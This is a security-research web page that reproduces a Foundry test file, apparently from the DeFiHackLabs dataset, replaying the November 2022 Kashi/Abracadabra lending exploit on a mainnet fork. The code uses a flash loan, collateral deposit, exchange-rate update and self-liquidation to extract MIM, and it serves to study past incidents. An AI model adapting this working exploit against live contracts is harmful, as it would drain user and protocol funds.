Skip to content
THREATWIRE

Public reproduction file

src/test/2022-11/Kashi_exp.sol

Public reproduction file for dataset entry Kashi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-11/Kashi_exp.sol114 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://eigenphi.substack.com/p/casting-a-magic-spell-on-abracadabra
9// https://twitter.com/BlockSecTeam/status/1603633067876155393
10// @TX
11// https://etherscan.io/tx/0x3d163bfbec5686d428a6d43e45e2626a220cc4fcfac7620c620b82c1f2537c78
13interface BentoBoxV1 {
14 function batchFlashLoan(
15 address borrower,
16 address[] calldata receivers,
17 address[] calldata tokens,
18 uint256[] calldata amounts,
19 bytes calldata data
20 ) external;
22 function setMasterContractApproval(
23 address user,
24 address masterContract,
25 bool approved,
26 uint8 v,
27 bytes32 r,
28 bytes32 s
29 ) external;
31 function deposit(address token_, address from, address to, uint256 amount, uint256 share) external;
33 function withdraw(address token_, address from, address to, uint256 amount, uint256 share) external;
35 function balanceOf(address token, address account) external returns (uint256);
38interface CauldronMediumRiskV1 {
39 function addCollateral(address to, bool skim, uint256 share) external;
41 function borrow(address to, uint256 amount) external;
43 function updateExchangeRate() external;
45 function liquidate(
46 address[] calldata users,
47 uint256[] calldata maxBorrowParts,
48 address to,
49 address swapper
50 ) external;
53contract ContractTest is Test {
54 BentoBoxV1 BentBox = BentoBoxV1(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
55 CauldronMediumRiskV1 Cauldron = CauldronMediumRiskV1(0xbb02A884621FB8F5BFd263A67F58B65df5b090f3);
56 IERC20 xSUSHI = IERC20(0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272);
57 IERC20 MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);
58 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
59 ISushiSwap Router = ISushiSwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
60 address masterContract = 0x4a9Cb5D0B755275Fd188f87c0A8DF531B0C7c7D2;
62 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
64 function setUp() public {
65 cheats.createSelectFork("mainnet", 15_928_289);
66 }
68 function testExploit() public {
69 MIM.approve(address(Router), type(uint256).max);
70 address[] memory receivers = new address[](2);
71 receivers[0] = address(this);
72 receivers[1] = address(this);
73 address[] memory tokens = new address[](2);
74 tokens[0] = address(xSUSHI);
75 tokens[1] = address(MIM);
76 uint256[] memory amounts = new uint256[](2);
77 amounts[0] = 450_000 * 1e18;
78 amounts[1] = 0;
79 BentBox.batchFlashLoan(address(this), receivers, tokens, amounts, new bytes(1));
81 emit log_named_decimal_uint("[End] Attacker MIM balance after exploit", MIM.balanceOf(address(this)), 18);
82 }
84 function onBatchFlashLoan(
85 address sender,
86 IERC20[] calldata tokens,
87 uint256[] calldata amounts,
88 uint256[] calldata fees,
89 bytes calldata data
90 ) external {
91 BentBox.setMasterContractApproval(address(this), masterContract, true, uint8(0), bytes32(0), bytes32(0));
92 xSUSHI.approve(address(BentBox), type(uint256).max);
93 BentBox.deposit(address(xSUSHI), address(this), address(this), 0, 420_000 * 1e18);
94 Cauldron.addCollateral(address(this), false, 420_000 * 1e18);
95 Cauldron.borrow(address(this), 800_000 * 1e18);
96 Cauldron.updateExchangeRate();
97 address[] memory users = new address[](1);
98 users[0] = address(this);
99 uint256[] memory maxBorrowParts = new uint256[](1);
100 maxBorrowParts[0] = 680_000 * 1e18;
101 Cauldron.liquidate(users, maxBorrowParts, address(this), address(0));
102 BentBox.withdraw(
103 address(xSUSHI), address(this), address(this), 0, BentBox.balanceOf(address(xSUSHI), address(this))
104 );
105 BentBox.withdraw(address(MIM), address(this), address(this), 0, BentBox.balanceOf(address(MIM), address(this)));
106 uint256 swapAmount = 450_000 * 1e18 * 10_005 / 10_000 - xSUSHI.balanceOf(address(this));
107 address[] memory path = new address[](3);
108 path[0] = address(MIM);
109 path[1] = address(WETH);
110 path[2] = address(xSUSHI);
111 Router.swapTokensForExactTokens(swapAmount, type(uint256).max, path, address(this), block.timestamp);
112 xSUSHI.transfer(address(BentBox), 450_225 * 1e18);
113 }

Analysis

Dataset entry

Public Foundry test for “Kashi” (2022-11-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Kashi
Path
src/test/2022-11/Kashi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ee8b9209a6d4b082f7a33bc1486cee325751e576
Language
Solidity
Size
115 lines
Date
2022-11-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-11/Kashi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ee8b9209a6d4b082f7a33bc1486cee325751e576, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.